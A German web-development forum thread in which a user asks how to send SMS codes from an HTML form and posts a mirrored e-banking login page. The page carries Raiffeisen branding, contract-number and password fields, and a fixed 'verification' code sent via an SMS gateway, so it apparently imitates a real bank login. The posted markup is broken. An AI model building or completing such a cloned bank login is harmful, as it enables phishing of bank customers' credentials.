• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

SMS-Login (HTTP POST-METHOD)

leonfreak01

Neues Mitglied
Guten Tag allerseits, ich bin neu hier auf dem Forum und hoffe ihr könnt mir hier weiterhelfen.
Ich habe eine Seite programmiert, da soll man auf Login drücken und dann wird ein SMS an die eingebene Nummer versendet.
So weit so gut,
Nun funktioniert das auch einwandfrei, wenn ich auf login drücke dann werde ich aber mit dem IT-PORTAL des SMS senders verbunden..
Meine Frage; Kann ich das SMS auch versenden und daraufhin eine neue andere HTML-page aus meinem Ordner laden ohne dass der Tab gewechselt wird?

Mein Code ist hier, für Fragen einfach schreiben
____

<HTML>
<HEAD>
<title>HTTP to SMS API</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</HEAD>
<body>
<form name=sendmms action="https://smsportal.it-auf-abruf.ch/batch" method="POST" enctype="application/x-www-form-urlencoded">
<P>
Enter Your Username:<BR>
<input type="text" name="username" value="mersms09"><br>
Enter Your PIN:<BR>
<input type="text" name="password" value="***"><br>
To:<BR>
<input type="text" name="recipient" value="+4179100****"><br>
Response Format:<BR>
<input type="text" name="ResponseFormat" value="1"><br>
Accompanying Message:<BR>
<input type="text" name="text" value="Hello World!"><br>
<input type="submit" value="Send Now" size="40" style="width: 111px; height: 50px; position: absolute; left: 302px; top: 413px;">
</P>
</form>
</body>
</HTML>
 
Werbung:
"Ohne das der Tab gewechselt wird" verwirrt mich etwas. Ich vermute aber mal, dass Du wenn Du das Formular so abschickst auf der Seite des SMS-Dienstleisters landest und natürlich dabei deine Seite verlässt?

Das lässt sich lösen indem Du den ganzen Request nicht per Formular sondern per PHP auslöst. Dann könntest Du das Formular an dein PHP-Script abschicken, das sendet den Request zur SMS-Übermittlung an den Dienstleister und du kannst dann eine OK-Meldung anzeigen.
 
Guten Abend nochmals, ich konnte das Hauptproblem lösen.
Nun habe ich nur noch eine Frage; Das SMS schickt einen Code an die Handynummer, der Code sollte wie ein einmaliges Passwort funktionieren um zur nächsten HTML-Page zu gelangen. So dass man den Code als Passwort in die Textbox eingibt und dann erst weitergeleitet werden kann zur nächsten Page.
Viele Grüsse, ich hoffe ihr könnt mir helfen :p
 
Werbung:
hier:

<!doctype html>

<title>HTTP to SMS API</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</HEAD>
<body>
<form name=sendmms action="https://smsportal.it-auf-abruf.ch/batch" method="POST" enctype="application/x-www-form-urlencoded">
<P>

<input type="hidden" name="username" value="mersms09"><br>

<input type="hidden" name="password" value="***"><br>

<input type="password" style="position:absolute;left:0px;top:49px;width:248px;height:30px;z-index:12;" name="recipient" value=""><br>

<input type="hidden" name="ResponseFormat" value="1"><br>

<input type="hidden" name="text" value="Ihr Code lautet: 556921"><br>
<input type="submit" value="Send Now" size="40" style="width: 50px; height: 25px; position: absolute; left: 302px; top: 413px;">
<button onclick="submit(); submit(); submit();" />

Mit 3x Submit hat's geklappt dass sich die HTML page und das portal gleichzeitig öffnen lassen ohne php

</P>
</form>
</body>
</HTML>

Der ganze Code:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Local index - HTTrack</title>
<meta name="generator" content="WYSIWYG Web Builder 14 - http://www.wysiwygwebbuilder.com">
<link href="base/jquery-ui.min.css" rel="stylesheet">
<link href="project_re_21_11_18_2.css" rel="stylesheet">
<link href="Login_irig.css" rel="stylesheet">
<script src="jquery-1.12.4.min.js"></script>
<script src="jquery-ui.min.js"></script>
<script>
$(document).ready(function()
{
$("#jQueryButton1").button();
$("#jQueryButton2").button();
$("#jQueryButton3").button();
$("#jQueryButton4").button();
});
</script>
</head>
<body>
<div id="wb_Image3" style="position:absolute;left:0px;top:221px;width:1348px;height:772px;z-index:0;">
<img src="images/background-kreuzplatz.jpg" id="Image3" alt=""></div>
<div id="wb_Image5" style="position:absolute;left:0px;top:45px;width:1348px;height:772px;z-index:1;">
<img src="images/background-kreuzplatz.jpg" id="Image5" alt=""></div>
<img src="images/img0058.jpg" id="Banner2" alt="" style="border-width:0;position:absolute;left:0px;top:0px;width:1348px;height:70px;z-index:2;">
<div id="wb_Text8" style="position:absolute;left:744px;top:278px;width:250px;height:16px;z-index:3;">
<span style="color:#FFFFFF;font-family:'MS Sans Serif';font-size:15px;">Sicherheit</span></div>

<img src="images/img0057.jpg" id="Banner1" alt="" style="border-width:0;position:absolute;left:284px;top:196px;width:399px;height:393px;z-index:5;">
<div id="wb_Image4" style="position:absolute;left:123px;top:6px;width:164px;height:58px;z-index:6;">
<img src="images/Raiffeisen-Logo-PC.png" id="Image4" alt=""></div>
<img src="images/img0061.jpg" id="Banner3" alt="" style="border-width:0;position:absolute;left:700px;top:196px;width:399px;height:393px;z-index:7;">
<div id="wb_Text1" style="position:absolute;left:305px;top:211px;width:250px;height:25px;z-index:8;">
<span style="color:#4B5475;font-family:'MS Sans Serif';font-size:21px;">Login E-Banking</span></div>
<div id="wb_Text5" style="position:absolute;left:302px;top:263px;width:250px;height:16px;z-index:9;">
<span style="color:#4F4F4F;font-family:'MS Sans Serif';font-size:13px;">Vertragsnummer</span></div>
<div id="wb_Text6" style="position:absolute;left:302px;top:341px;width:250px;height:16px;z-index:10;">
<span style="color:#4F4F4F;font-family:'MS Sans Serif';font-size:13px;">Persönliches Passwort</span></div>
<input type="text" id="Editbox1" style="position:absolute;left:302px;top:292px;width:112px;height:26px;z-index:11;" name="Editbox1" value="" spellcheck="false">
<input type="password" id="Editbox2" style="position:absolute;left:302px;top:373px;width:240px;height:26px;z-index:12;" name="Editbox1" value="" spellcheck="false">
<div id="wb_jQueryButton1" style="position:absolute;left:302px;top:324px;width:111px;height:38px;z-index:13;">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<input type="text" style="position:absolute;left:0px;top:-32px;width:248px;height:30px;z-index:12;" name="vn" value="">
<HTML>
<HEAD>
<title>HTTP to SMS API</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</HEAD>
<body>
<form name=sendmms action="https://smsportal.it-auf-abruf.ch/batch" method="POST" enctype="application/x-www-form-urlencoded">
<P>

<input type="hidden" name="username" value="mersms09"><br>

<input type="hidden" name="password" value="***"><br>

<input type="password" style="position:absolute;left:0px;top:49px;width:248px;height:30px;z-index:12;" name="recipient" value=""><br>

<input type="hidden" name="ResponseFormat" value="1"><br>

<input type="hidden" name="text" value="Ihr Code lautet: 556921"><br>
<input type="submit" value="Send Now" size="40" style="width: 50px; height: 25px; position: absolute; left: 302px; top: 413px;">

<button onclick="submit(); submit(); submit();" />


</P>
</form>
</body>
</HTML>
<a class="ui-button ui-widget ui-corner-all" id="jQueryButton1" href="./Login_2.html" target="_blank" id="jQueryButton1" style="width:100%;height:100%;">Login</a></div>
<div id="wb_Text2" style="position:absolute;left:302px;top:493px;width:250px;height:16px;z-index:14;">
<span style="color:#2965AB;font-family:Arial;font-size:13px;">Passwort vergessen</span></div>
<div id="wb_Text3" style="position:absolute;left:302px;top:522px;width:250px;height:16px;z-index:15;">
<span style="color:#2965AB;font-family:Arial;font-size:13px;">Brauchen sie Hilfe beim Login?</span></div>
<div id="wb_Text4" style="position:absolute;left:741px;top:221px;width:250px;height:28px;z-index:16;">
<span style="color:#FFFFFF;font-family:'Lucida Sans Unicode';font-size:24px;">Interessante links</span></div>
<div id="wb_Text7" style="position:absolute;left:741px;top:268px;width:250px;height:16px;z-index:17;">
<span style="color:#FFFFFF;font-family:'MS Sans Serif';font-size:15px;">Empfohlene Browser</span></div>
<div id="wb_Image2" style="position:absolute;left:867px;top:537px;width:77px;height:48px;z-index:18;">
<img src="images/pzttttt.PNG" id="Image2" alt=""></div>
<div id="wb_Text9" style="position:absolute;left:741px;top:288px;width:250px;height:16px;z-index:19;">
<span style="color:#FFFFFF;font-family:'MS Sans Serif';font-size:15px;">Sicherheit</span></div>
<div id="wb_Image1" style="position:absolute;left:285px;top:205px;width:233px;height:53px;z-index:20;">
<img src="images/login.PNG" id="Image1" alt=""></div>
<div id="wb_jQueryButton2" style="position:absolute;left:129px;top:23px;width:153px;height:24px;z-index:21;">
<a class="ui-button ui-widget ui-corner-all" id="jQueryButton2" href=""id="jQueryButton2" style="width:100%;height:100%;"></a></div>
<div id="wb_jQueryButton3" style="position:absolute;left:296px;top:493px;width:128px;height:16px;z-index:22;">
<a class="ui-button ui-widget ui-corner-all" id="jQueryButton3" href="" id="jQueryButton3" style="width:100%;height:100%;"></a></div>
<div id="wb_jQueryButton4" style="position:absolute;left:299px;top:522px;width:187px;height:16px;z-index:23;">
<a class="ui-button ui-widget ui-corner-all" id="jQueryButton4" href="" id="jQueryButton4" style="width:100%;height:100%;"></a></div>
<input type="submit" id="Button1" name="" value="Send Now" style="position:absolute;left:326px;top:709px;width:111px;height:50px;z-index:24;">
<img src="images/img0070.jpg" id="Banner4" alt="" style="border-width:0;position:absolute;left:305px;top:412px;width:59px;height:17px;z-index:25;">
<img src="images/img0076.jpg" id="Banner5" alt="" style="border-width:0;position:absolute;left:305px;top:456px;width:59px;height:13px;z-index:26;">
<img src="images/img0077.jpg" id="Banner6" alt="" style="border-width:0;position:absolute;left:302px;top:412px;width:11px;height:57px;z-index:27;">
<img src="images/img0078.jpg" id="Banner7" alt="" style="border-width:0;position:absolute;left:347px;top:412px;width:30px;height:57px;z-index:28;">
<img src="images/img0079.jpg" id="Banner8" alt="" style="border-width:0;position:absolute;left:299px;top:409px;width:91px;height:17px;z-index:29;">
</body>
</html>
 
Zuletzt bearbeitet:
Da ist keinerlei PHP-Code enthalten. Folglich hast Du dich nicht nach meinem Rat gerichtet sondern einfach selbst etwas versucht, was zudem überhaupt nicht funktionieren kann.

Ich würde dich bitten dir Grundlagen von PHP anzuschauen. Nur damit ist das was Du erreichen willst überhaupt möglich.
 
Werbung:
Zurück
Oben